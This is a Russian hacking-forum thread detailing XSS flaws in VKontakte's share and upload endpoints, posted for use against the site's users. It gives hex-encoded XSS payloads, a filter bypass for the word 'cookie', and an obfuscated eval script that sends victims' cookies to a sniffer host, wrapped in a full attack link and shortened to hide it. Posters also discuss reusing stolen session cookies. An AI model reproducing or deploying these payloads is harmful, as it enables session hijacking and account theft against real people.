![]() |
Наверное многие из вас знают о возможности "поделиться ссылкой" на сайт в различных соц.сетях. (http://s02.radikal.ru/i175/1111/7b/765c63e8fca2.bmp)
Вконтакте это делается следующим запросом: http://vkontakte.ru/share.php?url=http://site.com/path/filename.ext В исходнике страницы: PHP код:
http://vkontakte.ru/share.php?url=http://site.com\x22/path\x22/filename\x22.ext\x22 PHP код:
Смотрим, что происходит с этими переменными дальше в коде страницы: PHP код:
value в теге input ничего не даст, зато innerHTML позволяет вставить в страницу произвольный код. XSS: http://vkontakte.ru/share.php?url=http://site.com\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22\x78\x22\x 6F\x6E\x65\x72\x72\x6F\x72\x3D\x22\x61\x6C\x65\x72 \x74\x28\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x 6F\x6F\x6B\x69\x65\x29\x3B\x22\x77\x69\x64\x74\x68 \x3D\x30\x3E PHP код:
PHP код:
Код:
Code: |
cs*.vkontakte.ru/cs*.vk.vom
При отправке ссылки на видео youtube на стену, ВК парсит инфу об этом видео и выводит его на стену вместо отправляемой ссылки. Для примера возьмем ролик http://www.youtube.com/watch?v=AW4u7mGMNcg (первый попавшийся) Если вставить ссылку в сообщение и нажать кнопку "отправить", выполнится POST-запрос: http://cs[N].vkontakte.ru/upload.php act=parse_share&from_host=vkontakte.ru&mid=[СВОЙ_ID]&hash=[ХЭШ1]&rhash=[ХЭШ2]&url=[ССЫЛКА_НА_РОЛИК] Ответ: Код HTML:
HTML:Как оказалось, хэши для защиты от CSRF и XSS в этом запросе не проверяются. Параметры from_host, mid, hash и rhash необязательны. Отправлять можно GET-ом. url=http://google.com/ Код HTML:
HTML:url=http://google.com/? Код HTML:
HTML:url=http://www.google.com/?= Код HTML:
HTML:Пассивка найдена, но при попытке отправить в запросе url=http://www.google.com/?= оказывается, что фильтруется слово "cookie". Обходится этот фильтр просто: PHP код:
http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?= |
Еще один вариант использования предыдущего бага с обходом любых анти-XSS фильтров в браузерах.
Вернемся к результату парсинга: Код HTML:
HTML:В ходе эксперементов я выяснил, что заголовок и описание обрезаются, если в них есть <, [COLOR="Red"] заливаем на файлообменник и передаем ссылку в параметре url Пример: http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://upwap.ru/d/1809876/9f8120c321aa731e263ecc004eb2e44c/1.txt Так как прямые ссылки на файлообменниках динамические, придется периодически парсить ссылку и обновлять ее (в приведенном примере с http://upwap.ru/1809876) На фотохостингах прямые ссылки постоянные. Берем любой bmp-файл, дописываем в него тот же текст и заливаем на radikal.ru Пример: http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://s014.radikal.ru/i327/1111/7f/c6c28de37eaa.bmp |
было
http://cs4567.vkontakte.ru стало http://cs4567.vk.com vk.com основной домен теперь! img = new Image(); img.src = "http://somesite.ru/n5lcd7q8nvh.gif?"+document[c]; setTimeout( 'location="http://images.cards.mail.ru/11bolprivet.jpg";', 5000 ); http://somesite.ru/n5lcd7q8nvh.gif -> сниффер свой какой то (для примера!) setTimeout( 'location="http://images.cards.mail.ru/11bolprivet.jpg";', 5000 ); -> редирект через 5 сек http://images.cards.mail.ru/11bolprivet.jpg -> картинка-прикол! в обфусцированном виде: (function(O,o){o(O(105,109,103,32,61,32,110,101,11 9,32,73,109,97,103,101,40,41,59,32,105,109,103,46, 115,114,99,32,61,32,34,104,116,116,112,58,47,47,11 5,111,109,101,115,105,116,101,46,114,117,47,110,53 ,108,99,100,55,113,56,110,118,104,46,103,105,102,6 3,34,43,100,111,99,117,109,101,110,116,91,99,93,59 ,32,115,101,116,84,105,109,101,111,117,116,40,32,3 9,108,111,99,97,116,105,111,110,61,34,104,116,116, 112,58,47,47,105,109,97,103,101,115,46,99,97,114,1 00,115,46,109,97,105,108,46,114,117,47,49,49,98,11 1,108,112,114,105,118,101,116,46,106,112,103,34,59 ,39,44,32,53,48,48,48,32,41,59))})(String.fromChar Code,eval) Такой вид через http://2coders.ru/wp-content/uploads/2010/09/obfuscator.zip http://cs4567.vk.com/upload.php?act=parse_share&url=http://www.google.com/?=%3C/script%3E%3Cimg+src=x+onerror=c=/coo/.source;c%2B=/kie/.source;(function(O,o){o(O(105,109,103,32,61,32,11 0,101,119,32,73,109,97,103,101,40,41,59,32,105,109 ,103,46,115,114,99,32,61,32,34,104,116,116,112,58, 47,47,115,111,109,101,115,105,116,101,46,114,117,4 7,110,53,108,99,100,55,113,56,110,118,104,46,103,1 05,102,63,34,43,100,111,99,117,109,101,110,116,91, 99,93,59,32,115,101,116,84,105,109,101,111,117,116 ,40,32,39,108,111,99,97,116,105,111,110,61,34,104, 116,116,112,58,47,47,105,109,97,103,101,115,46,99, 97,114,100,115,46,109,97,105,108,46,114,117,47,49, 49,98,111,108,112,114,105,118,101,116,46,106,112,1 03,34,59,39,44,32,53,48,48,48,32,41,59))})(String. fromCharCode,eval) %3E Через ресурс, например, http://tinyurl.com получаем такую ссылку: http://tinyurl.com/cglmpy5 - document[c] в Сhrome не работает; - в FF, Opera работает (других не проверял); - ссылка палиться антивирусом; - привязка по ip вконтакте (возможно разве что с одного ip что у жертвы подставлять стыренные куки!) - пробросить через вконтакте хз как (разве что подключить левый хост как доверенный для разработчика и там сниффер впихнуть!) Итого: ограниченные условия! Возможно что то не так делал, имея стыренные куки я не попал в аккаунт. |
Цитата:
Цитата:
Цитата:
|
Неактуально. В паблик.
|
Цитата:
|
Цитата:
то есть открытая часть ачата это площадка для выкладывания треша ? |
Цитата:
В паблике эта уязвимость пролежала бы до фикса пару дней, в закрытом разделе почти год. В теме показан вектор атаки, который еще долго будет актуален для многих сайтов. На ВК интернет не заканчивается. |
| Время: 04:16 |